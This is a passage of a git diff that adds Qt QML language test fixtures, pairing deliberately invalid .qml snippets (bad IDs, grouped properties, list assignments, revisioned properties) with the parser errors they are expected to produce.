+4:14:Cannot assign a value directly to a grouped property
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.10.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.10.qml
new file mode 100644
index 00000000..41aa3e29
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.10.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ grouped: "10x10"
+ grouped.value: 10
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.2.errors.txt
new file mode 100644
index 00000000..810fd31b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.2.errors.txt
@@ -0,0 +1 @@
+5:5:Invalid grouped property access
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.2.qml
new file mode 100644
index 00000000..d4fbf423
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.2.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+QtObject {
+ property int o;
+ o.blah: 10
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.3.errors.txt
new file mode 100644
index 00000000..f6d6f29f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.3.errors.txt
@@ -0,0 +1 @@
+4:5:Invalid grouped property access
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.3.qml
new file mode 100644
index 00000000..0bbfc4f5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.3.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+
+MyQmlObject {
+ customType.x: 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.4.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.4.errors.txt
new file mode 100644
index 00000000..69c68716
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.4.errors.txt
@@ -0,0 +1 @@
+4:5:Cannot assign to non-existent property "foo"
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.4.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.4.qml
new file mode 100644
index 00000000..134fef9b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.4.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+
+MyQmlObject {
+ foo.x: 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.5.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.5.errors.txt
new file mode 100644
index 00000000..2c8a970d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.5.errors.txt
@@ -0,0 +1 @@
+4:18:Property assignment expected
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.5.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.5.qml
new file mode 100644
index 00000000..55cefe66
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.5.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+
+MyTypeObject {
+ rectProperty.x.foo: 100
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.6.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.6.errors.txt
new file mode 100644
index 00000000..e1f7ec5b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.6.errors.txt
@@ -0,0 +1 @@
+5:5:Property value set multiple times
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.6.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.6.qml
new file mode 100644
index 00000000..9ec33abe
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.6.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ rectProperty.x: 100
+ rectProperty.x: 101
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.7.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.7.errors.txt
new file mode 100644
index 00000000..4a7e3830
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.7.errors.txt
@@ -0,0 +1 @@
+4:-1:Cannot set properties on nullGrouped as it is null
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.7.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.7.qml
new file mode 100644
index 00000000..977539a3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.7.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+
+MyTypeObject {
+ nullGrouped.script: console.log(1921)
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.8.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.8.errors.txt
new file mode 100644
index 00000000..fa0da21c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.8.errors.txt
@@ -0,0 +1 @@
+5:19:Property has already been assigned a value
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.8.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.8.qml
new file mode 100644
index 00000000..56fca9b9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.8.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ pointProperty: "10x10"
+ pointProperty.x: 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.9.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.9.errors.txt
new file mode 100644
index 00000000..6d837a72
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.9.errors.txt
@@ -0,0 +1 @@
+5:20:Property has already been assigned a value
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.9.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.9.qml
new file mode 100644
index 00000000..982ab260
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.9.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ pointProperty.x: 10
+ pointProperty: "10x10"
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidID.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.2.errors.txt
new file mode 100644
index 00000000..2c6b8bf0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.2.errors.txt
@@ -0,0 +1,2 @@
+3:9:Invalid empty ID
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidID.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.2.qml
new file mode 100644
index 00000000..4fb3b298
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.2.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyQmlObject {
+ id: ""
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidID.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.3.errors.txt
new file mode 100644
index 00000000..bb811cfe
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.3.errors.txt
@@ -0,0 +1 @@
+3:5:Invalid use of id property
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidID.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.3.qml
new file mode 100644
index 00000000..66841728
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.3.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyQmlObject {
+ id.other: 10
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidID.4.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.4.errors.txt
new file mode 100644
index 00000000..c721fe91
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.4.errors.txt
@@ -0,0 +1 @@
+4:5:Property value set multiple times
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidID.4.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.4.qml
new file mode 100644
index 00000000..86010bf7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.4.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+MyQmlObject {
+ id: hello
+ id: world
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidID.5.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.5.errors.txt
new file mode 100644
index 00000000..c167de38
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.5.errors.txt
@@ -0,0 +1 @@
+2:20:Invalid import qualifier ID
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidID.5.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.5.qml
new file mode 100644
index 00000000..5b92a1a0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.5.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+import Test 1.0 as hello
+MyQmlObject {
+ id: hello
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidID.6.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.6.errors.txt
new file mode 100644
index 00000000..7251de11
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.6.errors.txt
@@ -0,0 +1 @@
+3:9:IDs cannot start with an uppercase letter
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidID.6.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.6.qml
new file mode 100644
index 00000000..62187d94
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.6.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyQmlObject {
+ id: StartsWithUpperCase
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidID.7.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.7.errors.txt
new file mode 100644
index 00000000..e4fd1db3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.7.errors.txt
@@ -0,0 +1 @@
+3:9:ID illegally masks global JavaScript property
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidID.7.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.7.qml
new file mode 100644
index 00000000..d4bc5396
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.7.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyQmlObject {
+ id: gc
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidID.8.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.8.errors.txt
new file mode 100644
index 00000000..b03ec6cc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.8.errors.txt
@@ -0,0 +1 @@
+3:9:IDs must contain only letters, numbers, and underscores
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidID.8.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.8.qml
new file mode 100644
index 00000000..1ea615c3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.8.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyQmlObject {
+ id: hello.world
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidID.9.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.9.errors.txt
new file mode 100644
index 00000000..c010e794
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.9.errors.txt
@@ -0,0 +1 @@
+3:9:IDs must start with a letter or underscore
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidID.9.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.9.qml
new file mode 100644
index 00000000..57474b72
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.9.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyQmlObject {
+ id: "3hello"
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidID.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.errors.txt
new file mode 100644
index 00000000..c010e794
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.errors.txt
@@ -0,0 +1 @@
+3:9:IDs must start with a letter or underscore
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidID.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.qml
new file mode 100644
index 00000000..04db3eb6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidID.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ id: 1
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidImportID.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidImportID.errors.txt
new file mode 100644
index 00000000..034e9373
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidImportID.errors.txt
@@ -0,0 +1 @@
+2:23:Invalid import qualifier ID
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidImportID.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidImportID.qml
new file mode 100644
index 00000000..580a0f39
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidImportID.qml
@@ -0,0 +1,4 @@
+import QtQuick 1.0
+import QtQuick 1.0 as qt
+
+QtObject {}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidOn.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidOn.errors.txt
new file mode 100644
index 00000000..b4210a11
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidOn.errors.txt
@@ -0,0 +1 @@
+3:5:"MyQmlObject" cannot operate on "value"
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidOn.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidOn.qml
new file mode 100644
index 00000000..d748bf47
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidOn.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ MyQmlObject on value {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidProperty.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidProperty.errors.txt
new file mode 100644
index 00000000..c83e5ae1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidProperty.errors.txt
@@ -0,0 +1 @@
+4:5:Illegal property name
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidProperty.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidProperty.qml
new file mode 100644
index 00000000..bd26bc59
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidProperty.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ property int parseInt
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidRoot.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/invalidRoot.errors.txt
new file mode 100644
index 00000000..4bcc948e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidRoot.errors.txt
@@ -0,0 +1 @@
+1:1:Expected type name
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/invalidRoot.qml b/tests/auto/declarative/qdeclarativelanguage/data/invalidRoot.qml
new file mode 100644
index 00000000..427827ca
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/invalidRoot.qml
@@ -0,0 +1,2 @@
+foo {
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/InstalledTest.qml b/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/InstalledTest.qml
new file mode 100644
index 00000000..9985d332
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/InstalledTest.qml
@@ -0,0 +1,2 @@
+import QtQuick 1.0 as Qt47
+Qt47.Rectangle {}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/InstalledTest2.qml b/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/InstalledTest2.qml
new file mode 100644
index 00000000..f63283e7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/InstalledTest2.qml
@@ -0,0 +1,2 @@
+import QtQuick 1.0
+Text {}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/LocalLast.qml b/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/LocalLast.qml
new file mode 100644
index 00000000..7f491eb8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/LocalLast.qml
@@ -0,0 +1,2 @@
+import QtQuick 1.0
+Rectangle {}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/PrivateType.qml b/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/PrivateType.qml
new file mode 100644
index 00000000..03bf25bc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/PrivateType.qml
@@ -0,0 +1,2 @@
+import QtQuick 1.0
+Image {}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/qmldir b/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/qmldir
new file mode 100644
index 00000000..d15720a1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/qmldir
@@ -0,0 +1,4 @@
+Rectangle 1.5 InstalledTest2.qml
+LocalLast 1.0 LocalLast.qml
+InstalledTest 1.4 InstalledTest2.qml
+InstalledTest 1.0 InstalledTest.qml
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest0/InstalledTest.qml b/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest0/InstalledTest.qml
new file mode 100644
index 00000000..9985d332
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest0/InstalledTest.qml
@@ -0,0 +1,2 @@
+import QtQuick 1.0 as Qt47
+Qt47.Rectangle {}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest0/InstalledTest2.qml b/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest0/InstalledTest2.qml
new file mode 100644
index 00000000..f63283e7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest0/InstalledTest2.qml
@@ -0,0 +1,2 @@
+import QtQuick 1.0
+Text {}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest0/qmldir b/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest0/qmldir
new file mode 100644
index 00000000..b3012260
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest0/qmldir
@@ -0,0 +1,2 @@
+InstalledTest 1.4 InstalledTest2.qml
+InstalledTestTP 0.0 InstalledTest.qml
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/listAssignment.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/listAssignment.1.errors.txt
new file mode 100644
index 00000000..35d2d351
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/listAssignment.1.errors.txt
@@ -0,0 +1 @@
+4:24:Cannot assign object to list
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/listAssignment.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/listAssignment.1.qml
new file mode 100644
index 00000000..c02dd33b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/listAssignment.1.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+import QtQuick 1.0
+MyContainer {
+ containerChildren: QtObject {}
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/listAssignment.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/listAssignment.2.errors.txt
new file mode 100644
index 00000000..8b40aa3e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/listAssignment.2.errors.txt
@@ -0,0 +1,2 @@
+3:15:Cannot assign primitives to lists
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/listAssignment.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/listAssignment.2.qml
new file mode 100644
index 00000000..e3baadb4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/listAssignment.2.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyContainer {
+ children: 2
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/listAssignment.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/listAssignment.3.errors.txt
new file mode 100644
index 00000000..c721fe91
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/listAssignment.3.errors.txt
@@ -0,0 +1 @@
+4:5:Property value set multiple times
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/listAssignment.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/listAssignment.3.qml
new file mode 100644
index 00000000..00c4c6b5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/listAssignment.3.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+MyContainer {
+ children: childBinding.expression
+ children: childBinding2.expression
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/listItemDeleteSelf.qml b/tests/auto/declarative/qdeclarativelanguage/data/listItemDeleteSelf.qml
new file mode 100644
index 00000000..85abbdc5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/listItemDeleteSelf.qml
@@ -0,0 +1,38 @@
+import QtQuick 1.0
+
+Item {
+ ListModel {
+ id: fruitModel
+ ListElement {
+ name: "Apple"
+ cost: 2.45
+ }
+ ListElement {
+ name: "Orange"
+ cost: 3.25
+ }
+ ListElement {
+ name: "Banana"
+ cost: 1.95
+ }
+ }
+
+ Component {
+ id: fruitDelegate
+ Item {
+ width: 200; height: 50
+ Text { text: name }
+ Text { text: '$'+cost; anchors.right: parent.right }
+ MouseArea {
+ anchors.fill: parent
+ onClicked: fruitModel.remove(index)
+ }
+ }
+ }
+
+ ListView {
+ model: fruitModel
+ delegate: fruitDelegate
+ anchors.fill: parent
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/listProperties.qml b/tests/auto/declarative/qdeclarativelanguage/data/listProperties.qml
new file mode 100644
index 00000000..1f60951d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/listProperties.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+QtObject {
+ property list<QtObject> listProperty
+ property int test: listProperty.length
+
+ listProperty: [ QtObject{}, QtObject {} ]
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt
new file mode 100644
index 00000000..29342dc4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt
@@ -0,0 +1 @@
+8:5:"MyRevisionedClass.prop2" is not available in Test 1.0.
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml
new file mode 100644
index 00000000..4b37ed35
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml
@@ -0,0 +1,9 @@
+// Check that a property in a later revision (prop2) cannot be assigned
+import QtQuick 1.0
+import Test 1.0
+
+MyRevisionedClass
+{
+ prop1: 1
+ prop2: 2
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt
new file mode 100644
index 00000000..57b5764b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt
@@ -0,0 +1 @@
+6:5:"MyRevisionedClass.onSignal2" is not available in Test 1.0.
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml
new file mode 100644
index 00000000..8da7a255
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyRevisionedClass
+{
+ onSignal1: prop1 = 2
+ onSignal2: prop1 = 3
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt
new file mode 100644
index 00000000..45364a04
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt
@@ -0,0 +1 @@
+9:5:"MyRevisionedClass.propD" is not available in Test 1.1.
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml
new file mode 100644
index 00000000..195be211
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml
@@ -0,0 +1,10 @@
+import Test 1.1
+
+MyRevisionedClass
+{
+ propA: 10
+ propB: 10
+ propC: 10
+ // propD is in rev 1 of MyRevisionedClassUnregistered, but not registered in 1.1
+ propD: 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/method.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/method.1.errors.txt
new file mode 100644
index 00000000..b10984f0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/method.1.errors.txt
@@ -0,0 +1 @@
+3:1:Method names cannot begin with an upper case letter
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/method.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/method.1.qml
new file mode 100644
index 00000000..a3f97f8d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/method.1.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ function MyMethod() {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/missingObject.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/missingObject.errors.txt
new file mode 100644
index 00000000..b31b562d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/missingObject.errors.txt
@@ -0,0 +1 @@
+1:10:Expected token `{'
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/missingObject.qml b/tests/auto/declarative/qdeclarativelanguage/data/missingObject.qml
new file mode 100644
index 00000000..2f170458
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/missingObject.qml
@@ -0,0 +1 @@
+something: 24
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/missingSignal.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/missingSignal.errors.txt
new file mode 100644
index 00000000..f5622462
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/missingSignal.errors.txt
@@ -0,0 +1 @@
+4:5:Cannot assign to non-existent property "onClicked"
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/missingSignal.qml b/tests/auto/declarative/qdeclarativelanguage/data/missingSignal.qml
new file mode 100644
index 00000000..e0e84423
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/missingSignal.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+import QtQuick 1.0
+QtObject {
+ onClicked: console.log("Hello world!")
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/missingValueTypeProperty.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/missingValueTypeProperty.errors.txt
new file mode 100644
index 00000000..caf7e55b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/missingValueTypeProperty.errors.txt
@@ -0,0 +1 @@
+4:18:Cannot assign to non-existent property "foo"
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/missingValueTypeProperty.qml b/tests/auto/declarative/qdeclarativelanguage/data/missingValueTypeProperty.qml
new file mode 100644
index 00000000..9a0fa6a2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/missingValueTypeProperty.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+
+MyTypeObject {
+ rectProperty.foo: 9
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.1.errors.txt
new file mode 100644
index 00000000..e1f7ec5b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.1.errors.txt
